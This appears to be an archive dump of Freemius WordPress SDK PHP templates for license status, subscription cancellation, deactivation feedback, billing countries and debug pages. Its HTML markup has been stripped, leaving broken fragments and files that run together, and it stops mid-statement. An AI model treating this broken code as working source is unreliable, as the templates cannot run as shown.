'downgrade', $slug ); $trial_text = fs_text_x_inline( 'Trial', 'trial period', 'trial', $slug ); $free_text = fs_text_inline( 'Free', 'free', $slug ); $activate_text = fs_text_inline( 'Activate', 'activate', $slug ); $plan_text = fs_text_x_inline( 'Plan', 'as product pricing plan', 'plan', $slug ); // Defaults. $plan = null; $is_paid_trial = false; /** * @var FS_Plugin_License $license */ $license = null; $site = null; $is_active_subscription = false; $subscription = null; $is_paying = false; $show_upgrade = false; $is_whitelabeled = $VARS['is_whitelabeled']; if ( is_object( $fs_addon ) ) { $is_paying = $fs_addon->is_paying(); $user = $fs_addon->get_user(); $site = $fs_addon->get_site(); $license = $fs_addon->_get_license(); $subscription = ( is_object( $license ) ? $fs_addon->_get_subscription( $license->id ) : null ); $plan = $fs_addon->get_plan(); $plan_name = $plan->name; $plan_title = $plan->title; $is_paid_trial = $fs_addon->is_paid_trial(); $version = $fs_addon->get_plugin_version(); $is_whitelabeled = ( $fs_addon->is_whitelabeled( true ) && ! $fs_addon->get_parent_instance()->is_data_debug_mode() ); $show_upgrade = ( ! $is_whitelabeled && $fs_addon->has_paid_plan() && ! $is_paying && ! $is_paid_trial && ! $fs_addon->_has_premium_license() ); } else if ( $is_addon_connected ) { if ( empty( $addon_info ) || ! isset( $addon_info['site'] ) ) { $is_addon_connected = false; } else { /** * @var FS_Site $site */ $site = $addon_info['site']; $version = $addon_info['version']; $plan_name = isset( $addon_info['plan_name'] ) ? $addon_info['plan_name'] : ''; $plan_title = isset( $addon_info['plan_title'] ) ? $addon_info['plan_title'] : ''; if ( isset( $addon_info['license'] ) ) { $license = $addon_info['license']; } if ( isset( $addon_info['subscription'] ) ) { $subscription = $addon_info['subscription']; } $has_valid_and_active_license = ( is_object( $license ) && $license->is_active() && $license->is_valid() ); $is_paid_trial = ( $site->is_trial() && $has_valid_and_active_license && ( $site->trial_plan_id == $license->plan_id ) ); $is_whitelabeled = $addon_info['is_whitelabeled']; } } $has_feature_enabled_license = ( is_object( $license ) && $license->is_features_enabled() ); $is_active_subscription = ( is_object( $subscription ) && $subscription->is_active() ); $show_delete_install_button = ( ! $is_paying && WP_FS__DEV_MODE && ! $is_whitelabeled ); ?> > id ?> is_trial() || is_object( $license ) ) : ?> is_trial() ) { $tags[] = array( 'label' => $trial_text, 'type' => 'success' ); $tags[] = array( 'label' => sprintf( ( $is_paid_trial ? $renews_in_text : $expires_in_text ), human_time_diff( time(), strtotime( $site->trial_ends ) ) ), 'type' => ( $is_paid_trial ? 'success' : 'warn' ) ); } else { if ( is_object( $license ) ) { if ( $license->is_cancelled ) { $tags[] = array( 'label' => fs_text_inline( 'Cancelled', 'cancelled', $slug ), 'type' => 'error' ); } else if ( $license->is_expired() ) { $tags[] = array( 'label' => fs_text_inline( 'Expired', 'expired', $slug ), 'type' => 'error' ); } else if ( $license->is_lifetime() ) { $tags[] = array( 'label' => fs_text_inline( 'No expiration', 'no-expiration', $slug ), 'type' => 'success' ); } else if ( ! $is_active_subscription && ! $license->is_first_payment_pending() ) { $tags[] = array( 'label' => sprintf( $expires_in_text, human_time_diff( time(), strtotime( $license->expiration ) ) ), 'type' => 'warn' ); } else if ( $is_active_subscription && ! $subscription->is_first_payment_pending() ) { $tags[] = array( 'label' => sprintf( $renews_in_text, human_time_diff( time(), strtotime( $subscription->next_payment ) ) ), 'type' => 'success' ); } } } foreach ( $tags as $t ) { printf( '' . "\n", $t['type'], $t['label'] ); } ?> get_id(), 'account', 'deactivate_license', fs_text_inline( 'Deactivate License', 'deactivate-license', $slug ), '', array( 'plugin_id' => $addon_id ), false, true ); $human_readable_license_expiration = human_time_diff( time(), strtotime( $license->expiration ) ); $downgrade_confirmation_message = sprintf( $downgrade_x_confirm_text, ( $fs_addon->is_only_premium() ? $cancelling_subscription_text : $downgrading_plan_text ), $plan->title, $human_readable_license_expiration ); $after_downgrade_message = ! $license->is_block_features ? sprintf( $after_downgrade_non_blocking_text, $plan->title, $fs_addon->get_module_label( true ) ) : sprintf( $after_downgrade_blocking_text, $plan->title ); if ( ! $license->is_lifetime() && $is_active_subscription ) { $buttons[] = fs_ui_get_action_button( $fs->get_id(), 'account', 'downgrade_account', esc_html( $fs_addon->is_only_premium() ? fs_text_inline( 'Cancel Subscription', 'cancel-subscription', $slug ) : $downgrade_text ), '', array( 'plugin_id' => $addon_id ), false, false, false, ( $downgrade_confirmation_message . ' ' . $after_downgrade_message . ' ' . $prices_increase_text ), 'POST' ); } } else if ( $is_paid_trial ) { $buttons[] = fs_ui_get_action_button( $fs->get_id(), 'account', 'cancel_trial', esc_html( $cancel_trial_text ), '', array( 'plugin_id' => $addon_id ), false, false, 'dashicons dashicons-download', $cancel_trial_confirm_text, 'POST' ); } else if ( ! $has_feature_enabled_license ) { $premium_licenses = $fs_addon->get_available_premium_licenses(); if ( ! empty( $premium_licenses ) ) { $premium_license = $premium_licenses[0]; $has_multiple_premium_licenses = ( 1 < count( $premium_licenses ) ); if ( ! $has_multiple_premium_licenses ) { $premium_plan = $fs_addon->_get_plan_by_id( $premium_license->plan_id ); $site = $fs_addon->get_site(); $buttons[] = fs_ui_get_action_button( $fs->get_id(), 'account', 'activate_license', esc_html( sprintf( $activate_plan_text, $premium_plan->title, ( $site->is_localhost() && $premium_license->is_free_localhost ) ? '[localhost]' : ( 1 < $premium_license->left() ? $premium_license->left() . ' left' : '' ) ) ), ($has_multiple_premium_licenses ? 'activate-license-trigger ' . $fs_addon->get_unique_affix() : ''), array( 'plugin_id' => $addon_id, 'license_id' => $premium_license->id, ), true, true ); $is_license_activation_added = true; } } } } // if ( 0 == count( $buttons ) ) { if ( $fs_addon->is_premium() && ! $is_license_activation_added ) { $fs_addon->_add_license_activation_dialog_box(); $buttons[] = fs_ui_get_action_button( $fs->get_id(), 'account', 'activate_license', ( ! $has_feature_enabled_license ) ? fs_esc_html_inline( 'Activate License', 'activate-license', $slug ) : fs_esc_html_inline( 'Change License', 'change-license', $slug ), 'activate-license-trigger ' . $fs_addon->get_unique_affix(), array( 'plugin_id' => $addon_id, ), (! $has_feature_enabled_license), true ); $is_license_activation_added = true; } if ( $fs_addon->has_paid_plan() ) { // Add sync license only if non of the other CTAs are visible. $buttons[] = fs_ui_get_action_button( $fs->get_id(), 'account', $fs->get_unique_affix() . '_sync_license', fs_esc_html_x_inline( 'Sync', 'as synchronize', 'sync', $slug ), '', array( 'plugin_id' => $addon_id ), false, true ); } // } } else if ( ! $show_upgrade ) { if ( $fs->is_addon_installed( $addon_id ) ) { $addon_file = $fs->get_addon_basename( $addon_id ); if ( ! isset( $active_plugins_directories_map[ dirname( $addon_file ) ] ) ) { $buttons[] = sprintf( '%s', wp_nonce_url( 'plugins.php?action=activate&plugin=' . $addon_file, 'activate-plugin_' . $addon_file ), fs_esc_attr_inline( 'Activate this add-on', 'activate-this-addon', $slug ), $activate_text ); } } else { if ( $fs->is_allowed_to_install() ) { $buttons[] = sprintf( '%s', wp_nonce_url( self_admin_url( 'update.php?' . ( ( isset( $addon_info['has_paid_plan'] ) && $addon_info['has_paid_plan'] ) ? 'fs_allow_updater_and_dialog=true&' : '' ) . 'action=install-plugin&plugin=' . $addon_info['slug'] ), 'install-plugin_' . $addon_info['slug'] ), fs_text_inline( 'Install Now', 'install-now', $slug ) ); } else { $buttons[] = sprintf( '%s', $fs->_get_latest_download_local_url( $addon_id ), esc_html( $download_latest_text ) ); } } } if ( $show_upgrade ) { $buttons[] = sprintf( ' %s', esc_url( network_admin_url( 'plugin-install.php?fs_allow_updater_and_dialog=true' . ( ! empty( $fs_blog_id ) ? '&fs_blog_id=' . $fs_blog_id : '' ) . '&tab=plugin-information&parent_plugin_id=' . $fs->get_id() . '&plugin=' . $addon_info['slug'] . '&TB_iframe=true&width=600&height=550' ) ), esc_attr( sprintf( fs_text_inline( 'More information about %s', 'more-information-about-x', $slug ), $addon_info['title'] ) ), esc_attr( $addon_info['title'] ), ( $fs_addon->has_free_plan() ? $upgrade_text : fs_text_x_inline( 'Purchase', 'verb', 'purchase', $slug ) ) ); } $buttons_count = count( $buttons ); ?> 1 ) : ?>
                  1 ) : ?>
                  is_addon_installed( $addon_id ); ?> get_addon_basename( $addon_id ) ?> is_allowed_to_install() ) : ?> get_id(), 'account', 'delete_account', fs_text_x_inline( 'Delete', 'verb', 'delete', $slug ), '', array( 'plugin_id' => $addon_id ), false, $show_upgrade ); } ?> vendor/freemius/templates/account/partials/activate-license-button.php000064400000004466147600365160022415 0ustar00
                  vendor/freemius/templates/account/index.php000064400000000127147600365160015142 0ustar00get_slug(); ?>

                  >
                  id ?> created ) ) ?> formatted_gross() ?> is_migrated() ) : ?>
                  get_slug(); $edit_text = fs_text_x_inline( 'Edit', 'verb', 'edit', $slug ); $update_text = fs_text_x_inline( 'Update', 'verb', 'update', $slug ); $billing = $fs->_fetch_billing(); $has_billing = ( $billing instanceof FS_Billing ); if ( ! $has_billing ) { $billing = new FS_Billing(); } ?>

                  > 'Afghanistan', 'AX' => 'Aland Islands', 'AL' => 'Albania', 'DZ' => 'Algeria', 'AS' => 'American Samoa', 'AD' => 'Andorra', 'AO' => 'Angola', 'AI' => 'Anguilla', 'AQ' => 'Antarctica', 'AG' => 'Antigua and Barbuda', 'AR' => 'Argentina', 'AM' => 'Armenia', 'AW' => 'Aruba', 'AU' => 'Australia', 'AT' => 'Austria', 'AZ' => 'Azerbaijan', 'BS' => 'Bahamas', 'BH' => 'Bahrain', 'BD' => 'Bangladesh', 'BB' => 'Barbados', 'BY' => 'Belarus', 'BE' => 'Belgium', 'BZ' => 'Belize', 'BJ' => 'Benin', 'BM' => 'Bermuda', 'BT' => 'Bhutan', 'BO' => 'Bolivia', 'BQ' => 'Bonaire, Saint Eustatius and Saba', 'BA' => 'Bosnia and Herzegovina', 'BW' => 'Botswana', 'BV' => 'Bouvet Island', 'BR' => 'Brazil', 'IO' => 'British Indian Ocean Territory', 'VG' => 'British Virgin Islands', 'BN' => 'Brunei', 'BG' => 'Bulgaria', 'BF' => 'Burkina Faso', 'BI' => 'Burundi', 'KH' => 'Cambodia', 'CM' => 'Cameroon', 'CA' => 'Canada', 'CV' => 'Cape Verde', 'KY' => 'Cayman Islands', 'CF' => 'Central African Republic', 'TD' => 'Chad', 'CL' => 'Chile', 'CN' => 'China', 'CX' => 'Christmas Island', 'CC' => 'Cocos Islands', 'CO' => 'Colombia', 'KM' => 'Comoros', 'CK' => 'Cook Islands', 'CR' => 'Costa Rica', 'HR' => 'Croatia', 'CU' => 'Cuba', 'CW' => 'Curacao', 'CY' => 'Cyprus', 'CZ' => 'Czech Republic', 'CD' => 'Democratic Republic of the Congo', 'DK' => 'Denmark', 'DJ' => 'Djibouti', 'DM' => 'Dominica', 'DO' => 'Dominican Republic', 'TL' => 'East Timor', 'EC' => 'Ecuador', 'EG' => 'Egypt', 'SV' => 'El Salvador', 'GQ' => 'Equatorial Guinea', 'ER' => 'Eritrea', 'EE' => 'Estonia', 'ET' => 'Ethiopia', 'FK' => 'Falkland Islands', 'FO' => 'Faroe Islands', 'FJ' => 'Fiji', 'FI' => 'Finland', 'FR' => 'France', 'GF' => 'French Guiana', 'PF' => 'French Polynesia', 'TF' => 'French Southern Territories', 'GA' => 'Gabon', 'GM' => 'Gambia', 'GE' => 'Georgia', 'DE' => 'Germany', 'GH' => 'Ghana', 'GI' => 'Gibraltar', 'GR' => 'Greece', 'GL' => 'Greenland', 'GD' => 'Grenada', 'GP' => 'Guadeloupe', 'GU' => 'Guam', 'GT' => 'Guatemala', 'GG' => 'Guernsey', 'GN' => 'Guinea', 'GW' => 'Guinea-Bissau', 'GY' => 'Guyana', 'HT' => 'Haiti', 'HM' => 'Heard Island and McDonald Islands', 'HN' => 'Honduras', 'HK' => 'Hong Kong', 'HU' => 'Hungary', 'IS' => 'Iceland', 'IN' => 'India', 'ID' => 'Indonesia', 'IR' => 'Iran', 'IQ' => 'Iraq', 'IE' => 'Ireland', 'IM' => 'Isle of Man', 'IL' => 'Israel', 'IT' => 'Italy', 'CI' => 'Ivory Coast', 'JM' => 'Jamaica', 'JP' => 'Japan', 'JE' => 'Jersey', 'JO' => 'Jordan', 'KZ' => 'Kazakhstan', 'KE' => 'Kenya', 'KI' => 'Kiribati', 'XK' => 'Kosovo', 'KW' => 'Kuwait', 'KG' => 'Kyrgyzstan', 'LA' => 'Laos', 'LV' => 'Latvia', 'LB' => 'Lebanon', 'LS' => 'Lesotho', 'LR' => 'Liberia', 'LY' => 'Libya', 'LI' => 'Liechtenstein', 'LT' => 'Lithuania', 'LU' => 'Luxembourg', 'MO' => 'Macao', 'MK' => 'Macedonia', 'MG' => 'Madagascar', 'MW' => 'Malawi', 'MY' => 'Malaysia', 'MV' => 'Maldives', 'ML' => 'Mali', 'MT' => 'Malta', 'MH' => 'Marshall Islands', 'MQ' => 'Martinique', 'MR' => 'Mauritania', 'MU' => 'Mauritius', 'YT' => 'Mayotte', 'MX' => 'Mexico', 'FM' => 'Micronesia', 'MD' => 'Moldova', 'MC' => 'Monaco', 'MN' => 'Mongolia', 'ME' => 'Montenegro', 'MS' => 'Montserrat', 'MA' => 'Morocco', 'MZ' => 'Mozambique', 'MM' => 'Myanmar', 'NA' => 'Namibia', 'NR' => 'Nauru', 'NP' => 'Nepal', 'NL' => 'Netherlands', 'NC' => 'New Caledonia', 'NZ' => 'New Zealand', 'NI' => 'Nicaragua', 'NE' => 'Niger', 'NG' => 'Nigeria', 'NU' => 'Niue', 'NF' => 'Norfolk Island', 'KP' => 'North Korea', 'MP' => 'Northern Mariana Islands', 'NO' => 'Norway', 'OM' => 'Oman', 'PK' => 'Pakistan', 'PW' => 'Palau', 'PS' => 'Palestinian Territory', 'PA' => 'Panama', 'PG' => 'Papua New Guinea', 'PY' => 'Paraguay', 'PE' => 'Peru', 'PH' => 'Philippines', 'PN' => 'Pitcairn', 'PL' => 'Poland', 'PT' => 'Portugal', 'PR' => 'Puerto Rico', 'QA' => 'Qatar', 'CG' => 'Republic of the Congo', 'RE' => 'Reunion', 'RO' => 'Romania', 'RU' => 'Russia', 'RW' => 'Rwanda', 'BL' => 'Saint Barthelemy', 'SH' => 'Saint Helena', 'KN' => 'Saint Kitts and Nevis', 'LC' => 'Saint Lucia', 'MF' => 'Saint Martin', 'PM' => 'Saint Pierre and Miquelon', 'VC' => 'Saint Vincent and the Grenadines', 'WS' => 'Samoa', 'SM' => 'San Marino', 'ST' => 'Sao Tome and Principe', 'SA' => 'Saudi Arabia', 'SN' => 'Senegal', 'RS' => 'Serbia', 'SC' => 'Seychelles', 'SL' => 'Sierra Leone', 'SG' => 'Singapore', 'SX' => 'Sint Maarten', 'SK' => 'Slovakia', 'SI' => 'Slovenia', 'SB' => 'Solomon Islands', 'SO' => 'Somalia', 'ZA' => 'South Africa', 'GS' => 'South Georgia and the South Sandwich Islands', 'KR' => 'South Korea', 'SS' => 'South Sudan', 'ES' => 'Spain', 'LK' => 'Sri Lanka', 'SD' => 'Sudan', 'SR' => 'Suriname', 'SJ' => 'Svalbard and Jan Mayen', 'SZ' => 'Swaziland', 'SE' => 'Sweden', 'CH' => 'Switzerland', 'SY' => 'Syria', 'TW' => 'Taiwan', 'TJ' => 'Tajikistan', 'TZ' => 'Tanzania', 'TH' => 'Thailand', 'TG' => 'Togo', 'TK' => 'Tokelau', 'TO' => 'Tonga', 'TT' => 'Trinidad and Tobago', 'TN' => 'Tunisia', 'TR' => 'Turkey', 'TM' => 'Turkmenistan', 'TC' => 'Turks and Caicos Islands', 'TV' => 'Tuvalu', 'VI' => 'U.S. Virgin Islands', 'UG' => 'Uganda', 'UA' => 'Ukraine', 'AE' => 'United Arab Emirates', 'GB' => 'United Kingdom', 'US' => 'United States', 'UM' => 'United States Minor Outlying Islands', 'UY' => 'Uruguay', 'UZ' => 'Uzbekistan', 'VU' => 'Vanuatu', 'VA' => 'Vatican', 'VE' => 'Venezuela', 'VN' => 'Vietnam', 'WF' => 'Wallis and Futuna', 'EH' => 'Western Sahara', 'YE' => 'Yemen', 'ZM' => 'Zambia', 'ZW' => 'Zimbabwe', ) ?>
                  vendor/freemius/templates/connect/permissions-group.php000064400000005076147600365160017545 0ustar00get_text_x_inline( 'Opt Out', 'verb', 'opt-out' ); $opt_in_text = $fs->get_text_x_inline( 'Opt In', 'verb', 'opt-in' ); if ( empty( $permission_group[ 'prompt' ] ) ) { $is_enabled = false; foreach ( $permission_group[ 'permissions' ] as $permission ) { if ( true === $permission[ 'default' ] ) { // Even if one of the permissions is on, treat as if the entire group is on. $is_enabled = true; break; } } } else { $is_enabled = ( isset( $permission_group['is_enabled'] ) && true === $permission_group['is_enabled'] ); } ?>

                    render_permission( $permission ); } ?>
                  vendor/freemius/templates/connect/index.php000064400000000127147600365160015137 0ustar00
                • class="fs-tooltip-trigger">

                • vendor/freemius/templates/debug/scheduled-crons.php000064400000007736147600365160016564 0ustar00get_option( $module_type . 's' ), FS_Plugin::get_class_name() ); if ( is_array( $modules ) && count( $modules ) > 0 ) { foreach ( $modules as $slug => $data ) { if ( WP_FS__MODULE_TYPE_THEME === $module_type ) { $current_theme = wp_get_theme(); $is_active = ( $current_theme->stylesheet === $data->file ); } else { $is_active = is_plugin_active( $data->file ); } /** * @author Vova Feldman * * @since 1.2.1 Don't load data from inactive modules. */ if ( $is_active ) { $fs = freemius( $data->id ); $next_execution = $fs->next_sync_cron(); $last_execution = $fs->last_sync_cron(); if ( false !== $next_execution ) { $scheduled_crons[ $slug ][] = array( 'name' => $fs->get_plugin_name(), 'slug' => $slug, 'module_type' => $fs->get_module_type(), 'type' => 'sync_cron', 'last' => $last_execution, 'next' => $next_execution, ); } $next_install_execution = $fs->next_install_sync(); $last_install_execution = $fs->last_install_sync(); if (false !== $next_install_execution || false !== $last_install_execution ) { $scheduled_crons[ $slug ][] = array( 'name' => $fs->get_plugin_name(), 'slug' => $slug, 'module_type' => $fs->get_module_type(), 'type' => 'install_sync', 'last' => $last_install_execution, 'next' => $next_install_execution, ); } } } } } $sec_text = fs_text_x_inline( 'sec', 'seconds' ); ?>

                  $crons ) : ?>
                  vendor/freemius/templates/debug/index.php000064400000000127147600365160014574 0ustar00get_option( 'all_plugins' ); $all_themes = $fs_options->get_option( 'all_themes' ); /* translators: %s: time period (e.g. In "2 hours") */ $in_x_text = fs_text_inline( 'In %s', 'in-x' ); /* translators: %s: time period (e.g. "2 hours" ago) */ $x_ago_text = fs_text_inline( '%s ago', 'x-ago' ); $sec_text = fs_text_x_inline( 'sec', 'seconds' ); ?>

                  plugins ) ?> timestamp ) && is_numeric( $all_plugins->timestamp ) ) { $diff = abs( WP_FS__SCRIPT_START_TIME - $all_plugins->timestamp ); $human_diff = ( $diff < MINUTE_IN_SECONDS ) ? $diff . ' ' . $sec_text : human_time_diff( WP_FS__SCRIPT_START_TIME, $all_plugins->timestamp ); echo esc_html( sprintf( ( ( WP_FS__SCRIPT_START_TIME < $all_plugins->timestamp ) ? $in_x_text : $x_ago_text ), $human_diff ) ); } ?>
                  themes ) ?> timestamp ) && is_numeric( $all_themes->timestamp ) ) { $diff = abs( WP_FS__SCRIPT_START_TIME - $all_themes->timestamp ); $human_diff = ( $diff < MINUTE_IN_SECONDS ) ? $diff . ' ' . $sec_text : human_time_diff( WP_FS__SCRIPT_START_TIME, $all_themes->timestamp ); echo esc_html( sprintf( ( ( WP_FS__SCRIPT_START_TIME < $all_themes->timestamp ) ? $in_x_text : $x_ago_text ), $human_diff ) ); } ?>
                  vendor/freemius/templates/debug/logger.php000064400000004015147600365160014744 0ustar00

                  >
                  #
                  . get_id() ?> %s', esc_html( substr( $log['msg'], 0, 32 ) ) . ( 32 < strlen( $log['msg'] ) ? '...' : '' ) ); ?>
                  get_file() ) . ':' . $log['line']; } ?>
                  vendor/freemius/templates/debug/api-calls.php000064400000011753147600365160015341 0ustar00 0, 'POST' => 0, 'PUT' => 0, 'DELETE' => 0 ); $show_body = false; foreach ( $logger as $log ) { $counters[ $log['method'] ] ++; if ( ! is_null( $log['body'] ) ) { $show_body = true; } } $pretty_print = $show_body && defined( 'JSON_PRETTY_PRINT' ) && version_compare( phpversion(), '5.3', '>=' ); /** * This template is used for debugging, therefore, when possible * we'd like to prettify the output of a JSON encoded variable. * This will only be executed when $pretty_print is `true`, and * the var is `true` only for PHP 5.3 and higher. Due to the * limitations of the current Theme Check, it throws an error * that using the "options" parameter (the 2nd param) is not * supported in PHP 5.2 and lower. Thus, we added this alias * variable to work around that false-positive. * * @author Vova Feldman (@svovaf) * @since 1.2.2.7 */ $encode = 'json_encode'; $root_path_len = strlen( ABSPATH ); $ms_text = fs_text_x_inline( 'ms', 'milliseconds' ); ?>

                  Total Time:

                  Total Requests:

                  $count ) : ?>

                  :

                  #
                  . %s', $log['path'] ); ?> %s', substr( $body, 0, 32 ) . ( 32 < strlen( $body ) ? '...' : '' ) ); if ( $pretty_print ) { $body = $encode( json_decode( $log['body'] ), JSON_PRETTY_PRINT ); } ?>
                  %s', substr( $result, 0, 32 ) . ( 32 < strlen( $result ) ? '...' : '' ) ); } if ( $is_not_empty_result && $pretty_print ) { $decoded = json_decode( $result ); if ( ! is_null( $decoded ) ) { $result = $encode( $decoded, JSON_PRETTY_PRINT ); } } else { $result = is_string( $result ) ? $result : json_encode( $result ); } ?> style="display: none">
                  vendor/freemius/templates/forms/deactivation/index.php000064400000000127147600365160017306 0ustar00get_slug(); $subscription_cancellation_dialog_box_template_params = $VARS['subscription_cancellation_dialog_box_template_params']; $show_deactivation_feedback_form = $VARS['show_deactivation_feedback_form']; $confirmation_message = $VARS['uninstall_confirmation_message']; $is_anonymous = ( ! $fs->is_registered() ); $anonymous_feedback_checkbox_html = ''; $reasons_list_items_html = ''; $snooze_select_html = ''; if ( $show_deactivation_feedback_form ) { $reasons = $VARS['reasons']; foreach ( $reasons as $reason ) { $list_item_classes = 'reason' . ( ! empty( $reason['input_type'] ) ? ' has-input' : '' ); if ( isset( $reason['internal_message'] ) && ! empty( $reason['internal_message'] ) ) { $list_item_classes .= ' has-internal-message'; $reason_internal_message = $reason['internal_message']; } else { $reason_internal_message = ''; } $reason_input_type = ( ! empty( $reason['input_type'] ) ? $reason['input_type'] : '' ); $reason_input_placeholder = ( ! empty( $reason['input_placeholder'] ) ? $reason['input_placeholder'] : '' ); $reason_list_item_html = <<< HTML
                • {$reason_internal_message}
                • HTML; $reasons_list_items_html .= $reason_list_item_html; } if ( $is_anonymous ) { $anonymous_feedback_checkbox_html = sprintf( '', fs_esc_html_inline( 'Anonymous feedback', 'anonymous-feedback', $slug ) ); } $snooze_periods = array( array( 'increment' => fs_text_inline( 'hour', $slug ), 'quantity' => number_format_i18n(1), 'value' => 6 * WP_FS__TIME_10_MIN_IN_SEC, ), array( 'increment' => fs_text_inline( 'hours', $slug ), 'quantity' => number_format_i18n(24), 'value' => WP_FS__TIME_24_HOURS_IN_SEC, ), array( 'increment' => fs_text_inline( 'days', $slug ), 'quantity' => number_format_i18n(7), 'value' => WP_FS__TIME_WEEK_IN_SEC, ), array( 'increment' => fs_text_inline( 'days', $slug ), 'quantity' => number_format_i18n(30), 'value' => 30 * WP_FS__TIME_24_HOURS_IN_SEC, ), ); $snooze_select_html = ''; } // Aliases. $deactivate_text = fs_text_inline( 'Deactivate', 'deactivate', $slug ); $theme_text = fs_text_inline( 'Theme', 'theme', $slug ); $activate_x_text = fs_text_inline( 'Activate %s', 'activate-x', $slug ); $submit_deactivate_text = sprintf( fs_text_inline( 'Submit & %s', 'deactivation-modal-button-submit', $slug ), $fs->is_plugin() ? $deactivate_text : sprintf( $activate_x_text, $theme_text ) ); fs_enqueue_local_style( 'fs_dialog_boxes', '/admin/dialog-boxes.css' ); if ( ! empty( $subscription_cancellation_dialog_box_template_params ) ) { fs_require_template( 'forms/subscription-cancellation.php', $subscription_cancellation_dialog_box_template_params ); } ?> vendor/freemius/templates/forms/deactivation/contact.php000064400000001423147600365160017632 0ustar00get_slug(); echo fs_text_inline( 'Sorry for the inconvenience and we are here to help if you give us a chance.', 'contact-support-before-deactivation', $slug ) . sprintf(" %s", $fs->contact_url( 'technical_support' ), fs_text_inline( 'Contact Support', 'contact-support', $slug ) ); vendor/freemius/templates/forms/deactivation/retry-skip.php000064400000002222147600365160020306 0ustar00get_slug(); $skip_url = fs_nonce_url( $fs->_get_admin_page_url( '', array( 'fs_action' => $fs->get_unique_affix() . '_skip_activation' ) ), $fs->get_unique_affix() . '_skip_activation' ); $skip_text = strtolower( fs_text_x_inline( 'Skip', 'verb', 'skip', $slug ) ); $use_plugin_anonymously_text = fs_text_inline( 'Click here to use the plugin anonymously', 'click-here-to-use-plugin-anonymously', $slug ); echo sprintf( fs_text_inline( "You might have missed it, but you don't have to share any data and can just %s the opt-in.", 'dont-have-to-share-any-data', $slug ), "{$skip_text}" ) . " {$use_plugin_anonymously_text}";vendor/freemius/templates/forms/premium-versions-upgrade-metadata.php000064400000002770147600365160022262 0ustar00_get_license(); if ( ! is_object( $license ) ) { $purchase_url = $fs->pricing_url(); } else { $subscription = $fs->_get_subscription( $license->id ); $purchase_url = $fs->checkout_url( is_object( $subscription ) ? ( 1 == $subscription->billing_cycle ? WP_FS__PERIOD_MONTHLY : WP_FS__PERIOD_ANNUALLY ) : WP_FS__PERIOD_LIFETIME, false, array( 'licenses' => $license->quota ) ); } $plugin_data = $fs->get_plugin_data(); ?> vendor/freemius/templates/forms/subscription-cancellation.php000064400000026716147600365160020717 0ustar00get_slug(); /** * @var FS_Plugin_License $license */ $license = $VARS['license']; $has_trial = $VARS['has_trial']; $subscription_cancellation_context = $has_trial ? fs_text_inline( 'trial', 'trial', $slug ) : fs_text_inline( 'subscription', 'subscription', $slug ); $plan = $fs->get_plan(); $module_label = $fs->get_module_label( true ); if ( $VARS['is_license_deactivation'] ) { $subscription_cancellation_text = ''; } else { $subscription_cancellation_text = sprintf( fs_text_inline( "Deactivating or uninstalling the %s will automatically disable the license, which you'll be able to use on another site.", 'deactivation-or-uninstall-message', $slug ), $module_label ) . ' '; } $subscription_cancellation_text .= sprintf( fs_text_inline( 'In case you are NOT planning on using this %s on this site (or any other site) - would you like to cancel the %s as well?', 'cancel-subscription-message', $slug ), ( $VARS['is_license_deactivation'] ? fs_text_inline( 'license', 'license', $slug ) : $module_label ), $subscription_cancellation_context ); $cancel_subscription_action_label = sprintf( fs_esc_html_inline( "Cancel %s - I no longer need any security & feature updates, nor support for %s because I'm not planning to use the %s on this, or any other site.", 'cancel-x', $slug ), esc_html( $subscription_cancellation_context ), sprintf( '%s', esc_html( $fs->get_plugin_title() ) ), esc_html( $module_label ) ); $keep_subscription_active_action_label = esc_html( sprintf( fs_text_inline( "Don't cancel %s - I'm still interested in getting security & feature updates, as well as be able to contact support.", 'dont-cancel-x', $slug ), $subscription_cancellation_context ) ); $subscription_cancellation_text = esc_html( $subscription_cancellation_text ); $subscription_cancellation_html = <<< HTML

                  {$subscription_cancellation_text}

                  HTML; $downgrading_plan_text = fs_text_inline( 'Downgrading your plan', 'downgrading-plan', $slug ); $cancelling_subscription_text = fs_text_inline( 'Cancelling the subscription', 'cancelling-subscription', $slug ); /* translators: %1$s: Either 'Downgrading your plan' or 'Cancelling the subscription' */ $downgrade_x_confirm_text = fs_text_inline( '%1$s will immediately stop all future recurring payments and your %2$s plan license will expire in %3$s.', 'downgrade-x-confirm', $slug ); $prices_increase_text = fs_text_inline( 'Please note that we will not be able to grandfather outdated pricing for renewals/new subscriptions after a cancellation. If you choose to renew the subscription manually in the future, after a price increase, which typically occurs once a year, you will be charged the updated price.', 'pricing-increase-warning', $slug ); $after_downgrade_non_blocking_text = fs_text_inline( 'You can still enjoy all %s features but you will not have access to %s security & feature updates, nor support.', 'after-downgrade-non-blocking', $slug ); $after_downgrade_blocking_text = fs_text_inline( 'Once your license expires you can still use the Free version but you will NOT have access to the %s features.', 'after-downgrade-blocking', $slug ); $after_downgrade_blocking_text_premium_only = fs_text_inline( 'Once your license expires you will no longer be able to use the %s, unless you activate it again with a valid premium license.', 'after-downgrade-blocking-premium-only', $slug ); $subscription_cancellation_confirmation_message = $has_trial ? fs_text_inline( 'Cancelling the trial will immediately block access to all premium features. Are you sure?', 'cancel-trial-confirm', $slug ) : sprintf( '%s %s %s %s', sprintf( $downgrade_x_confirm_text, ($fs->is_only_premium() ? $cancelling_subscription_text : $downgrading_plan_text ), $plan->title, human_time_diff( time(), strtotime( $license->expiration ) ) ), ( $license->is_block_features ? ( $fs->is_only_premium() ? sprintf( $after_downgrade_blocking_text_premium_only, $module_label ) : sprintf( $after_downgrade_blocking_text, $plan->title ) ) : sprintf( $after_downgrade_non_blocking_text, $plan->title, $fs->get_module_label( true ) ) ), $prices_increase_text, fs_esc_attr_inline( 'Are you sure you want to proceed?', 'proceed-confirmation', $slug ) ); fs_enqueue_local_style( 'fs_dialog_boxes', '/admin/dialog-boxes.css' ); ?> vendor/freemius/templates/forms/premium-versions-upgrade-handler.php000064400000020213147600365160022107 0ustar00get_slug(); $plugin_data = $fs->get_plugin_data(); $plugin_name = $plugin_data['Name']; $plugin_basename = $fs->get_plugin_basename(); $license = $fs->_get_license(); if ( ! is_object( $license ) ) { $purchase_url = $fs->pricing_url(); } else { $subscription = $fs->_get_subscription( $license->id ); $purchase_url = $fs->checkout_url( is_object( $subscription ) ? ( 1 == $subscription->billing_cycle ? WP_FS__PERIOD_MONTHLY : WP_FS__PERIOD_ANNUALLY ) : WP_FS__PERIOD_LIFETIME, false, array( 'licenses' => $license->quota ) ); } $message = sprintf( fs_text_inline( 'There is a new version of %s available.', 'new-version-available-message', $slug ) . fs_text_inline( ' %s to access version %s security & feature updates, and support.', 'x-for-updates-and-support', $slug ), '', sprintf( '%s', is_object( $license ) ? fs_text_inline( 'Renew your license now', 